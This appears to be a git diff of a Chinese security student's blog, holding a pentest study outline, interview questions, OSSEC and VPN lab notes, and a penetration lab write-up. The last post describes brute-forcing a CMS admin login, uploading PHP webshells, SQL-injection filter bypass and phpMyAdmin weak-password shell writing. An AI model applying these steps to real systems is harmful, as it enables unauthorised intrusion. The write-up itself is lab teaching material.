    • host
    • +
    • 区域传输
    • +
    +
  • +
  • 邮件地址
  • +
  • Maltego
  • +
+

端口扫描

    +
  • 手动
  • +
  • nmap
  • +
+

第六章-漏洞检测

    +
  • Nmap
  • +
  • Nessus
      +
    • 扫描策略
    • +
    • 进行扫描
    • +
    • 漏洞评级
    • +
    • 扫描器的必要性
    • +
    • 导出结果
    • +
    +
  • +
  • Nmap脚本引擎(NSE)(/usr/share/nmap/scripts)
  • +
  • metasploit
  • +
  • nikto
  • +
  • 人工分析
  • +
+

第七章-流量捕获

    +
  • Wireshark
  • +
  • ARP缓存攻击
  • +
  • DNS缓存攻击
  • +
  • SSL攻击
  • +
  • SSL Stripping
  • +
+

第八章-漏洞利用

    +
  • MS-08-067
  • +
  • WebDAV
  • +
  • phpMyAdmin
  • +
  • 下载敏感文件
  • +
  • 第三方软件漏洞
  • +
  • 攻击第三方Web应用
  • +
  • 攻击系统服务缺陷
  • +
  • 攻击开源NFS漏洞
  • +
+

第九章-密码攻击

    +
  • 密码管理
  • +
  • 在线密码攻击
      +
    • 字典
    • +
    • Hydra
    • +
    +
  • +
  • 离线密码攻击
      +
    • 还原Windows SAM哈希值
    • +
    • 提取哈希
    • +
    • LM\NTLM算法
    • +
    • 破解 linux密码
    • +
    • 破解配置文件密码
    • +
    • 彩虹表
    • +
    • 在线密码破解
    • +
    • Windows Credential Editor提取内存中的密码明文
    • +
    +
  • +
+

第十章-客户端攻击

    +
  • metasploit
  • +
  • 浏览器漏洞
  • +
  • PDF漏洞
  • +
  • Java漏洞
  • +
  • Brower_autopwn
  • +
  • Winamp
  • +
+

第十一章-社会工程学

    +
  • SET
  • +
  • 鱼叉式钓鱼攻击
  • +
  • web攻击
  • +
  • 群发邮件攻击
  • +
  • 组合攻击
  • +
+

第十二章-免杀

    +
  • 杀毒软件原理
  • +
  • 规避杀毒软件
  • +
+

第十三章-深度渗透

    +
  • Meterpreter
  • +
  • 本地权限提升
  • +
  • 本地信息收集
  • +
  • 横向移动
  • +
  • 跳板
  • +
  • 持久化
  • +
+

第十四章-Web应用测试

    +
  • Burp
  • +
  • SQL注入
  • +
  • Xpath注入
  • +
  • 本地文件包含
  • +
  • 远程文件包含
  • +
  • 命令执行
  • +
  • 跨站脚本
  • +
  • 跨站请求伪造
  • +
+

第十五章-攻击无线网络

第十六章-缓冲区溢出

第十八章-SEH覆盖

第十九章-其他

    +
  • 模糊测试
  • +
  • 移植代码
  • +
  • MSF模块编写
  • +
  • 攻击缓解
  • +
+

第十九章-智能收集渗透

    +
  • 移动设备攻击向量
  • +
  • 智能手机渗透框架
  • +
  • 远程攻击
  • +
  • 客户端攻击
  • +
  • 恶意应用程序
  • +
  • 移动平台渗透
  • +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/26/%E5%88%9D%E5%AD%A6%E8%80%85/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
\ No newline at end of file diff --git a/2021/03/29/360/index.html b/2021/03/29/360/index.html new file mode 100644 index 000000000..944fa546d --- /dev/null +++ b/2021/03/29/360/index.html @@ -0,0 +1,217 @@ +360安全工程师面试(实习) | h4m5t's Blog + + + + + + + + + + + + + +

360安全工程师面试(实习)

时间:2021-3-30

+

时长:45min

+

面试类型:电话面试

+

目前为止遇到的最专业最耐心的面试官。 (也是最难的一次面试)

+

我是点进22届暑期实习投的,却发现投的是正式职位。。。啊,这。

+

面试内容如下:

+

1.自我介绍

+

2.WAF及其绕过方式

+

3.IPS/IDS/HIDS

+

4.云安全

+

5.怎么绕过安骑士/安全狗等

+

6.Gopher扩展攻击面

+

7.Struct2漏洞

+

8.UDF提权

+

9.DOM XSS

+

10.数据库提权

+

11.怎么打Redis

+

12.内网渗透

+

13.容器安全

+

14.k8s docker逃逸

+

15.linux、windows命令:过滤文件、查看进程环境变量

+

16.站库分离怎么拿webshell

+

总之,面试官很专业,循循善诱,可惜自己实战经验太少,很多问题答不上。

+

继续努力。加油少年!

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/29/360/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git "a/2021/04/04/\347\273\277\347\233\237/index.html" "b/2021/04/04/\347\273\277\347\233\237/index.html" new file mode 100644 index 000000000..00b85231e --- /dev/null +++ "b/2021/04/04/\347\273\277\347\233\237/index.html" @@ -0,0 +1,213 @@ +绿盟安服面试(实习) | h4m5t's Blog + + + + + + + + + + + + + +

绿盟安服面试(实习)

时间:2021-4-5

+

时长:25min

+

面试过程

+

1.自我介绍

+

2.SQL注入经常使用什么函数

+

3.渗透测试的流程

+

4.关于云安全

+

5.关于ISO 27001 风险评估

+

6.讲一下SSRF

+

7.还了解什么漏洞

+

8.同源策略

+

9.Linux相关

+
    +
  • 怎么查看进程PID
  • +
  • 密码存放在哪里
  • +
  • passwd和shadow有什么联系
  • +
+

10.机器学习相关

+

因为简历上有写NLP自然语言处理。

+

绿盟的面试体验很好,问的也都是基础的,和简历相关的。

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/04/04/%E7%BB%BF%E7%9B%9F/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git "a/2021/04/05/\345\205\245\344\276\265\346\243\200\346\265\213/index.html" "b/2021/04/05/\345\205\245\344\276\265\346\243\200\346\265\213/index.html" new file mode 100644 index 000000000..5a423d6ee --- /dev/null +++ "b/2021/04/05/\345\205\245\344\276\265\346\243\200\346\265\213/index.html" @@ -0,0 +1,307 @@ +基于OSSEC的入侵检测 | h4m5t's Blog + + + + + + + + + + + + + +

基于OSSEC的入侵检测

入侵检测实验

实验背景

计算机网络安全是一个国际化的问题,每年全球因计算机网络的安全系统被破坏而造成的经济损失达数百亿美元以上,这个数字还在不断增加。政府、银行、大企业等机构都有自己的内网资源。从网络安全的角度看,当公司的内部系统被入侵、破坏与泄密是一个严重的问题。据统计,全球80%以上的入侵来自于内部。由于性能的限制,防火墙通常不能提供实时的入侵检测能力,对于企业内部人员所做的攻击,防火墙形同虚设。因此,如何有效抵御网络入侵和攻击,已成为世界各国国家安全的重要组成部分,也是国家网络经济健康有序发展的关键。

+

入侵检测被认为是防火墙之后的第二道安全闸门,入侵检测系统能使在入侵攻击对系统发生危害前,检测到入侵攻击,并利用报警与防护系统驱逐入侵攻击,在不影响网络性能的情况下能对网络进行监听,从而提供对内部攻击、外部攻击和误操作的实时保护,大大提高了网络的安全性。

+

入侵检测实验通过企业复杂网络环境的入侵检测操作实战,要求学生深刻理解入侵检测和的概念、原理,进而熟悉入侵检测系统的功能,掌握常用的入侵检测技术和方法,最终具备娴熟的入侵检测能力和信息安全管理职业能力,能够胜任政府、金融、电商等企事业单位的信息安全系统设计、研究、管理等工作,并为国家网络空间安全事业做出应有的贡献。

+

实验任务

任务一 在不同的操作系统环境下安装和配置OSSEC代理,构建入侵检测环境;
任务二 监视OSSIM服务器本地root用户的登录情况;
任务三 基于SSH的远程非法入侵检测;
任务四 监视CentOS7 root用户情况;
任务五 监控Web服务器的访问日志。

+

实验目的

1.掌握在不同的操作系统环境下安装和配置OSSEC代理。
2.了解工具PuTTY的基本功能,掌握使用该工具远程连接机器的方法。
3.通过安装OSSEC代理,掌握PuTTY工具的实验,掌握配置OSSEC代理的方法,了解OSSEC入侵检测系统的架构、功能以及实现方式,具备构建入侵检测环境的能力。
4.掌握OSSIM系统的入侵检测规则设置方法,并能够根据报警信息做入侵行为分析,具备信息系统入侵检测和防范、维护系统安全的职业能力。

+

实验原理

    +
  1. 入侵检测与入侵检测系统的概念
  2. +
+

入侵检测(Intrusion Detection,ID), 顾名思义,是对入侵行为的检测。它通过收集和分析计算机网络或计算机系统中若干关键点的信息,检查网络或系统中是否存在违反安全策略的行为和被攻击的迹象,以便决策者有效采取措施,以保证网络系统资源的机密性、完整性和可用性。

+

入侵检测系统(intrusion detection system,简称“IDS”)是一种对网络传输进行即时监视,在发现可疑传输时发出警报或者采取主动反应措施的网络安全系统。它与其他网络安全设备的不同之处便在于,IDS是一种积极主动的安全防护技术。

+
    +
  1. OSSIM与OSSEC简介
  2. +
+

OSSIM即开源安全信息管理系统(OPEN SOURCE SECURITY INFORMATION MANAGEMENT),是一个非常流行和完整的开源安全架构体系。OSSIM通过将开源产品进行集成,从而提供一种能够实现安全监控功能的基础平台。 它的目的是提供一种集中式、有组织的、能够更好地进行监测和显示的框架式系统。

+

OSSIM明确定位为一个集成解决方案,其目标并不是要开发一个新的功能,而是利用丰富的、强大的各种程序(包括Snort、Rrd、Nmap、 Nessus以及Ntop等开源系统安全软件)。在一个保留他们原有功能和作用的开放式架构体系环境下,将他们集成起来。而OSSIM项目的核心工作在于负责集成和关联各种产品提供的信息,同时进行相关功能的整合。由于开源项目的优点,这些工具已经是久经考验,同时也经过全方位测试、是可靠的工具。
OSSEC是一个运行在OSSIM系统中的开源的入侵检测系统,从架构上看它属于C/S架构,从功能上看它可以执行日志收集与分析、完整性检测、rootkit检测、蠕虫检测、Windows注册表和实时报警等任务。它不仅支持OSSIM本身,还可以在UNIX、Linux、Mac、Windows系统中运行。由于OSSEC Server端就安装在OSSIM系统中,并和iptables实现了联动功能,因此只需在客户端安装代理即可,也就是通过OSSEC Server+Agent方式,以实现HIDS系统功能。

+

OSSIM系统中的HIDS(Host-based Intrusion Detection System,简称HIDS,即基于主机型入侵检测系统。作为计算机系统的监视器和分析器,它并不作用于外部接口,而是专注于系统内部,监视系统全部或部分的动态的行为以及整个计算机系统的状态。)通过安装在其他操作系统上的Agent程序来审计操作系统以及用户的活动,比如用户的登录、命令操作、软件升级、系统文件的完整性、应用程序使用资源情况等,根据主机行为特征确定是否发生入侵行为,并把警报信息发送给OSSIM上的OSSEC Server。这种HIDS可以精确地分析入侵活动,能确定是哪一个用户或者进程对系统进行过攻击。

+

OSSIM系统的工作流程为:

+
1
2
3
4
5
6
7
8
9
(1)作为整个系统的安全插件的探测器(Sensor)执行各自的任务,当发现问题时给予报警。
(2)各探测器的报警信息将被集中采集。
(3)将各个报警记录解析并存入事件数据库(EDB)。
(4)根据设置的策略(Policy)给每个事件赋予一个优先级(Priority)。
(5)对事件进行风险评估,给每个警报计算出一个风险系数。
(6)将设置了优先级的各事件发送至关联引擎,关联引擎将对事件进行关联。注意:关联引擎就是指在各入侵检测传感器(入侵检测系统、防火墙等)上报的告警事件基础上,经过关联分析形成入侵行为判定,并将关联分析结果报送控制台。
(7)对一个或多个事件进行关联分析后,关联引擎生成新的报警记录,将其也赋予优先级,并进行风险评估,存入数据库。
(8)用户监控监视器将根据每个事件产生实时的风险图。
(9)在控制面板中给出最近的关联报警记录,在底层控制台中提供全部的事件记录。
+ +

实验工具

    +
  • OSSIM
  • +
  • OSSEC
  • +
  • Putty
  • +
  • Firefox
  • +
+

实验环境

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
操作系统IP地址服务器角色登录账户密码
OSSIM192.168.1.200OSSEC Server用户名:root;密码:Simplexue123
CentOS7192.168.1.6OSSEC Agent用户名:root;密码:Simplexue123
Windows 2012192.168.1.5OSSEC Agent用户名:administrator;密码:Simplexue123
+

实验过程

任务一

1.安装OSSEC HIDS

+

image-20210407201621741

+

2.配置

+

image-20210407201746103

+

3.在windows2012操作系统(服务器IP地址:192.168.1.5)中,使用putty远程登录OSSIM服务器

+

image-20210407202036641

+

4.使用putty终端启动OSSEC代理管理程序,创建新OSSEC代理

+

image-20210407202602565

+

image-20210407203548341

+

5.通过CentOS7终端SSH远程登录OSSIM服务器

+

image-20210407204054614

+
    +
  1. +
+

image-20210407204312076

+
    +
  1. +
+

image-20210407204635717

+
    +
  1. +
+

image-20210407205224315

+

任务二

2.1在windows2012上使用火狐浏览器访问OSSIM集成监测平台Web GUI界面,输入用户名admin和密码Simplexue123进行登录。

+

img

+

img

+

2.2 OSSIM系统已经默认设置了很多常规适用的入侵检测规则,我们不需要另行配置就可以直接使用。除此之外,我们还需要在OSSIM集成检测平台上通过修改ossec.conf规则配置文件来设置OSSEC系统的入侵检测规则。在OSSIM web页面中,单击Analysis—>Detection—>HIDS—>Config—>Ossec.conf,可以看到OSSIM集成检测平台已经默认监视了日志文件/var/log/auth.log。如果在Ossec.conf文件中没有找到关于auth.log的监控信息,请自行添加该部分内容的规则配置信息。

+

img

+

2.3重启OSSIM服务器,重启登录成功后进入图形操作界面,按Ctrl+Alt+F1切换到命令行界面,输入用户名root和密码Simplexue123进行登录,再输入命令exit退出登录,之后按Ctrl+Alt+F7回到图形界面。图形界面和命令行界面的切换登录是为了给OSSEC入侵检测系统提供OSSIM服务器的root用户本地登录检测信息源,以便OSSEC系统获取root用户本地登录的相关日志信息。

+

2.4在windows2012上远程连接到服务器192.168.1.200。

+

img

+

2.5在windows2012的OSSIM Web页面上,单击Analysis—> Security Events (SIEM),可以看到,Security Events页面中列出了OSSIM系统预设检测规则适用范围内的所有安全事件日志信息,可以找到通过putty远程登录时相关的SSH登录记录报警信息。该日志信息可作为系统管理员判断本次远程登录是否为非法入侵的重要报警信息。如果OSSIM服务器不允许root用户的远程登录操作,那么root用户的本次远程登录操作将被视为黑客入侵行为。

+

img

+

2.6在OSSIM web页面搜索框输入ossec,回车进行ossec报警数据过滤。

+

img

+

2.7因为OSSEC入侵检测系统监控了/var/log/auth.log文件,所以在OSSIM集成检测平台的OSSIM Web页面,除了记录SSH远程登录的相关安全日志信息,还会记录OSSEC报警信息,该报警信息可作为判断本次远程登录是否为非法入侵的重要依据。

+

任务三

3.1使用putty工具远程登录OSSIM服务器,在打开的终端中,使用CD命令进入“/var/ossec/rules”目录(该目录为OSSEC服务器的检测规则文件存储目录),并使用ls命令查看所有的OSSEC服务器端检测规则文件。可以修改这些文件的预设规则配置,来实现用户需要的自定义系统安全检测规则。其中,sshd_rules.xml为我们本实验任务需要自定义检测规则的文件,通过自定义规则,以实现收集root用户远程非法登录OSSIM服务器的报警信息的目的,为判定、分析入侵行为和动机提供重要依据。

+

img

+

3.2修改sshd_rules.xml规则文件中的其中一条(rule id号为5719),将level级别设置为2(level级别越高,优先级就越高,与该规则对应的报警信息将更优先被OSSIM服务器响应和处理),告警阈值设置为2次。该规则表示:当非法用户存在2次以上远程登录尝试操作,且操作时间超过30秒,那么将触发非法远程登录尝试报警。修改完sshd_rules.xml文件后保存并退出编辑状态。

+

任务四

4.1在OSSIM集成检测平台上设置规则,监测CentOS7用户情况。在CentOS7终端查看代理的配置文件,可以看到OSSIM集成检测平台默认监控/var/log/secure文件,如果没有该文件监控内容,请自行添加。

+

img

+

4.2重启OSSIM服务器(192.168.1.200)。

+

img

+

4.3使用工具模拟攻击者远程登录服务器(用户名root和密码Simplexue123)。

+

4.4在服务器终端输入命令“adduser simpleware”、“passwd simpleware”,添加新用户simpleware,并将其密码设为Simplexue123。

+

img

+

img

+

4.5回到OSSIM Web页面上,进行OSSEC警报数据的过滤,可以看到与CentOS7添加新用户相关的OSSEC报警信息。

+

img

+

4.6查看入侵检测系统检测到的报警信息,获得报警信息的字段特征。

+

img

+

因此OSSIM集成监测平台web页面中监测到的OSSEC代理新建用户的报警信息的signature:ossec:New user added to the system

+

任务五

5.1在CentOS7的终端修改ossec.conf文件,向该文件中添加如下内容,实现监控Web服务器的访问日志的功能。编辑完后按esc键退出文件编辑状态,并输入:wq命令保存文件。

+

img

+

5.2在终端输入命令“/var/ossec/bin/ossec-control restart”,重新启动OSSEC服务。

+

img

+

5.3在windows2012上访问被禁止访问的目录。在windows2012(IP为192.168.1.5)的火狐浏览器上新打开一个页面,访问http://192.168.1.6/dvwa/config,提示信息为Not Found。

+

img

+

5.4回到OSSIM Web页面上,进行OSSEC警报数据的过滤,可以看到访问禁止目录时的报警信息。

+

实验感想

通过此次实验:

+

1.掌握在不同的操作系统环境下安装和配置OSSEC代理。
2.了解工具PuTTY的基本功能,掌握使用该工具远程连接机器的方法。
3.通过安装OSSEC代理,掌握PuTTY工具的实验,掌握配置OSSEC代理的方法,了解OSSEC入侵检测系统的架构、功能以及实现方式,具备构建入侵检测环境的能力。
4.掌握OSSIM系统的入侵检测规则设置方法,并能够根据报警信息做入侵行为分析,具备信息系统入侵检测和防范、维护系统安全的职业能力。

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/04/05/%E5%85%A5%E4%BE%B5%E6%A3%80%E6%B5%8B/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
\ No newline at end of file diff --git "a/2021/04/21/VPN\345\256\236\351\252\214/index.html" "b/2021/04/21/VPN\345\256\236\351\252\214/index.html" new file mode 100644 index 000000000..fdd69bb2c --- /dev/null +++ "b/2021/04/21/VPN\345\256\236\351\252\214/index.html" @@ -0,0 +1,306 @@ +VPN实验 | h4m5t's Blog + + + + + + + + + + + + +

VPN实验

实验任务

虚拟专用网(VPN)被定义为通过一个公用网络(通常是因特网)建立一个临时的、安全的连接,是一条穿过混乱的公用网络的安全、稳定的隧道。虚拟专用网是对企业内部网的扩展。虚拟专用网可以帮助远程用户、公司分支机构、商业伙伴及供应商同公司的内部网建立可信的安全连接,并保证数据的安全传输。虚拟专用网可用于不断增长的移动用户的全球因特网接入,以实现安全连接;可用于实现企业网站之间安全通信的虚拟专用线路,用于经济有效地连接到商业伙伴和用户的安全外联网虚拟专用网。

+

实验任务

任务一 使用IP命令搭建基于隧道的虚拟专有网络
任务二 使用加密工具OpenSSL创建加密密钥
任务三 SSL VPN之OpenVPN的安装配置
任务四 IPsecVPN原理及安装配置
任务五 云计算中基于Overlay技术的隧道网络实现

+

实验目的

掌握如何搭建基于隧道的虚拟专有网络
掌握加密算法了解及其应用
掌握如何安装部署配置openvpn服务端与客户端
掌握IPsecVPN原理及安装部署
了解公有云中overlay的实现

+

实验环境

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
操作系统IP地址服务器角色登录账户密码
Windows2012192.168.0.11操作机用户名:administrator;密码:Simplexue123
centos7_1192.168.1.11目标机用户名:root;密码:Simplexue123
centos7_2192.168.2.11目标机用户名:administrator;密码:Simplexue123
+

任务一

使用IP命令搭建基于隧道的虚拟专有网络

+

实现两不同网络内的内网通过ip隧道使之互通并检测。

+image-20210422151231083 + +

修改主机名

+
1
2
# hostnamectl set-hostname vpn1
# hostnamectl set-hostname vpn2
+ +
1
[root@vpn1 ~]# modprobe ip_gre
+ +

加载ip_gre内核模块

+

image-20210422152129613

+

配置tunnel(GRE隧道)使它们互通

+
1
2
[root@vpn1 ~] ip tunnel add gre1 mode gre remote 192.168.2.11 local 192.168.1.11 ttl 255
[root@vpn1 ~] ip a | grep gre1
+ +

启动gre1并分配ip地址10.10.10.1

+

vpn2创建一个GRE类型隧道设备gre1, 并设置对端IP为192.168.1.11

+

测试隧道是否通

+

image-20210422152200036

+

最后卸载GRE模块。

+

任务二

使用加密工具OpenSSL创建加密密钥

+

查看帮助信息

+

image-20210422153402076

+

生产RSA私钥

+

生成rsa_private.key私钥对应的公钥

+

生成RAS含密码(使用aes256加密)公私钥

+
1
[root@vpn1 ~]# openssl genrsa -aes256 -passout pass:simple -out rsa__aes_private.key 2048
+ +

加密与非加密之间的转换

+

生成 RSA 私钥和自签名证书

+

image-20210422155013278

+

任务三

SSL VPN之OpenVPN的安装配置

+

【任务描述】
本实验任务基于真实企业网络环境,在两台台服务器搭建的典型企业局域网环境中,主要完成以下内容:
(1)搭建openvpn服务端与客户端。
(2)实现客户端可访问服务端机器
【实验目标】
1.了解企业级别openvpn的使用场景。
2.掌握企业级别openvpn搭建和使用。
3.掌握openvpn客户端与服务端的搭建配置。

+

在vpn1机器安装openvpn并验证

+
1
2
[root@vpn1 ~]# yum clean all
[root@vpn1 ~]# yum install openvpn -y
+ +

修改openvpn的配置文件server.conf配置文件的内容

+

image-20210422160021557

+

修改openvpn服务端的配置文件

+

设置启动用户

+

安装密钥生成软件

+

配置生成证书的环境变量.并使之生效

+
1
systemctl start
+ +
1
systemctl enable
+ +
1
systemctl status
+ +

启动openvpn客户端并挂后台运行

+

image-20210422160050158

+

查看网卡信息

+

openvpn nat配置

+

任务四

【任务描述】
本实验任务基于真实企业网络环境,在两台台服务器搭建的典型企业局域网环境中,主要完成以下内容:
(1)搭建ipsec服务端与客户端。
(2)实现客户端可访问服务端机器
【实验目标】
1.了解企业级别ipsec的使用场景。
2.掌握企业级别ipsec搭建和使用。
3.掌握ipsec客户端与服务端的搭建配置。
4.掌握ipsec多种验证方式的实现

+

添加配置文件

+
1
2
3
4
5
6
7
8
9
10
11
12
13
[root@vpn1 ~]# vim  /etc/sysctl.conf
net.ipv4.ip_forward = 1
net.ipv4.conf.default.rp_filter = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.conf.eth0.accept_redirects = 0
net.ipv4.conf.eth0.send_redirects = 0
net.ipv4.conf.eth1.accept_redirects = 0
net.ipv4.conf.eth1.send_redirects = 0
net.ipv4.conf.lo.accept_redirects = 0
net.ipv4.conf.lo.send_redirects = 0
+ +

image-20210422160332518

+

安装openswan、libreswan并验证安装

+

启动服务看是否正常

+
1
2
3
[root@vpn1 ~]# yum install openswan libreswan  -y
[root@vpn1 ~]# ipsec --version
Linux Libreswan U3.20/K(no kernel code presently loaded) on 3.10.0-693.5.2.el7.x86_64
+ +

两端重新启动服务,并验证

+
1
2
[root@vpn1 ~]# systemctl restart   ipsec.service
[root@vpn1 ~]# ipsec auto --up net-to-net
+ +

在VPN1和VPN2上分别生成一个新的RSA密钥对

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
conn net-to-net
# 一端IP地址
left=192.168.1.11
#一端内网网段地址
leftsubnet=10.0.0.0/24
#一端的标识符,可以任意填写,如果多个连接需要区分
leftid=@vpn1
leftnexthop=%defaultroute
leftrsasigkey=0sAwEAAbUpvs46MbqUxc8bzuU58C0H+tMdYj+JrexW8O3f6WmAIhfNXraG6RBuEchvUePABQGH4eCIlxFj6xRLWnndE4HGOEGFds/ogtG6jmUaE93FXiSby2Ucefm/1DldzNHfneQONo0grR86XWisKgxeV7YjUaqJUFTbYa2iDrivPNqkGqykP6aNpRXk4Kv49mKRKEgGFDpC/82qa45hh6ItL0Itq9QkTDqUQxzcA9fp8rz1adfUAOCKZaXMNfaD7zeaI+gJKyX3D7lb0h/7Nb8qwloaK1kE3BHvrUDZflqlE26NG/+Qfki8a/cp1sfphySmrtSaORKraDwspFZPF3jgeZO98rpiv43sNL1oUOBLwMzRWkZ6K4moMSKcrc32JKXu54klWxjVzVYnR+VOLpB4mPW+gPG9Rbi79VzfAsy2aTTKB73mOqHM6LrkMPo09OFTlfRTwKdG5nz1gjilYvYdi+uLQAdHZvYA2BhoSG2UC5mPC2sHwjLt39dcnq7+I2yyiePYECRGXtCveymJfOBlP1oA1LmkXq5HabgCgqRXDFK7IqkQzkaik+pox8xGrBYNBkrJeokjJ7+QkkFsl3eAKQS5ITp0XGmg6y1ltU7QcRbhKkLndJ9ZcaIWJw==
right=192.168.2.11
rightsubnet=10.0.1.0/24
rightid=@vpn2
rightnexthop=%defaultroute
rightrsasigkey=0sAwEAAa8cMIBatj+qSxIv+fg75elY9Vbw2lKNnap4rDsVXrS/gRb65I/IQpbjLswePCOllJ1jF5Y3HDOBTBR4wDGWpVlhY5laKnxQnFPeFMeqdCY6p7NWqN4Khf2Pl6YRo5zPe3P0PXuykv0Ns3ga11EEe/NNmwzL8J/9rd3yxbOIH9/lEaKh6pds0ys6aFZH0V0pwNnc7yg0ESKJ9i+uSDVEeDa+OubQv7+lBGuvCxVjhd/bHaqhGTw2UTw001q+zW4T9qGYuctOn5MWAHZsFXAnKu3wwPGMdHpsVbnZjtIPvsKuuD339H42mGAZ6NM2MLSLbZEaVMnaSv3bdVMBjMCe7ur4/N8suJqmZOofPGBCfV0AkLS5Z6J45eERdHxzmweaeprkamfS8nyMxwJeI7ovHiRfh1+jAufCGdeJ9YgMj4mmeVijLqepsmf0WVhga4XOXiLzRcUtE/DKOvHrE9x9QrWeFQwoQ/fOCLvh40iIn80ggZibeuROqhhU8ms4uers4IRhrhAF4ZUCqcxuHm/viNT0nJ6nN3tKfgp0Yc87S4+xA7S5920iQ/YKGMFF58k1TDQOes8la3yWnPBo4O+WegJDtbvyEXk=
#add代表只是添加,但并不会连接,如果为start则代表着启动自动连接
auto=add
+ +
1
2
[root@vpn1 ~]# systemctl restart   ipsec.service
[root@vpn1 ~]# ipsec auto --up net-to-net
+ +

任务五

【任务描述】
本实验任务基于真实企业网络环境,在两台台服务器搭建的典型企业局域网环境中,主要完成以下内容:
(1)搭建overlay网络实现不同宿主机之间同网段机器相通。
(2)检测网络联通性。
【实验目标】
1.了解overlay网络的使用场景。
2.掌握overlay搭建和使用。
3.掌握openvswitch的使用。

+

在VPN1和VPN2分别安装openvswitch并启动服务

+
1
[root@vpn1 ~]# yum install openvswitch -y
+ +

启动服务

+
1
[root@vpn1 ~]# systemctl start openvswitch.service
+ +

配置VPN1,2

+

搭建VXLAN隧道

+
1
ifconfig br0 10.1.0.2/24 up
+ +

image-20210422160925462

+
1
ovs-vsctl add-port br0 vx1 -- set interface vx1 type=vxlan options:remote_ip=192.168.1.11
+ +

image-20210422160953588

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/04/21/VPN%E5%AE%9E%E9%AA%8C/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git "a/2021/04/30/\346\270\227\351\200\2171/index.html" "b/2021/04/30/\346\270\227\351\200\2171/index.html" new file mode 100644 index 000000000..3e0645dcd --- /dev/null +++ "b/2021/04/30/\346\270\227\351\200\2171/index.html" @@ -0,0 +1,281 @@ +企业渗透1 | h4m5t's Blog + + + + + + + + + + + + +

企业渗透1

实验描述

本实验的任务是通过外网的主机通过代理渗透到内网的主机。在渗透的过程中一般需要先进行端口扫描猜测主机上运行的服务,再通过漏洞利用脚本和其他扫描工具进一步确定漏洞存在,进而完成主机渗透拿到权限。

+

本实验的任务是通过外网的主机通过代理渗透到内网的主机。在渗透的过程中一般需要先进行端口扫描猜测主机上运行的服务,再通过漏洞利用脚本和其他扫描工具进一步确定漏洞存在,进而完成主机渗透拿到权限。

+

实验目的

1
2
3
4
5
6
爆破web网站后台,进入后台上传webshell
通过sql注入漏洞获取webshell
通过phpmyadmin写webshell
通过代理扫描内网
通过数据库中获取的密码登录内网机器
抓取域控账号和密码登录域控
+ +

实验环境

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
操作系统IP地址服务器角色登录账户密码
Windows7192.168.1.200操作机用户名:administrator;密码:Simplexue123
centos 7192.168.1.10目标机用户名:root;密码:Simplexue123
Windows2012192.168.2.10目标机用户名:administrator;密码:Simplexue123
Windows2012192.168.2.11目标机用户名:administrator;密码:Simplexue123
+

任务一 后台文件上传

描述:

+
1
2
使用wwwscan扫描网站后台目录,利用Burpsuite工具爆破网站后台用户名密码,获取cms的管理员密码登录后台。
构造php一句话木马,利用后台任意文件上传漏洞将木马上传到目标服务器,然后再使用中国菜刀连接一句话木马,获取目标服务器的webshell以便进行后续的操作。
+ +

首先打开网页查看

+

image-20210506201939054

+

发现是织梦CMS

+

使用wwwscan爆破网站后台目录

+

image-20210506202129351

+

image-20210506202228623

+

发现后台登陆:manager/login.php

+

image-20210506202453744

+

填写密码,使用bp抓包

+

image-20210506202604343

+

image-20210506202625359

+

选择密码字典爆破

+

image-20210506202719447

+

成功:admin:1q2w3e4r

+

image-20210506202909814

+

登陆成功并上传一句话木马

+

image-20210506203157878

+

打开中国菜刀并进行连接

+

image-20210506203933982

+

image-20210506204020172

+

任务二 sql注入

1
2
利用之前扫描目录得到的结果访问到测试的sql页面,利用SQL注入漏洞获得网站数据库信息
构造SQL注入语句读取webserver配置文件查看网站根目录,写入php一句话木马,获得webshell。
+ +
1
2
3
访问/sql目录,利用SQL注入漏洞获取网站数据库基本信息,如当前使用的数据库用户等。
利用SQL注入漏洞读取apache的配置文件,并通过配置文件中获取的网站根目录将一句话木马写入到网站目录中。
使用中国菜刀连接目标服务器上的一句话木马,查找网站根目录下文件中包含的flag值并提交
+ +

image-20210506204835331

+

image-20210506204901994

+

image-20210506205006586

+

读取配置文件

+

使用双写绕过

+

image-20210506205715832

+

image-20210506205902058

+

向/var/www/html写入一句话木马

+

image-20210506210029983

+

菜刀连接,并获取flag

+

任务三 phpmyadmin写shell

1
2
利用之前扫描目录得到的结果访问到phpmyadmin的页面,利用弱口令登录到phpmyadmin服务中。
构造SQL语句读取webserver配置文件查看网站根目录,写入php一句话木马,获得webshell。
+ +

image-20210506210247038

+

使用弱口令登陆

+

root,root

+

image-20210506210525029

+

image-20210506210613967

+

任务四

1
2
3
4
上传内网扫描的脚本到web的机器上,并对内网192.168.2.0/24段进行扫描
上传regeorg工具到web机器上开启代理服务
使用proxifier 工具代理远程连接访问登录到2.11上
读取C盘上根目录下的文件中的flag字符串,提交后该实验任务完成。
+ +

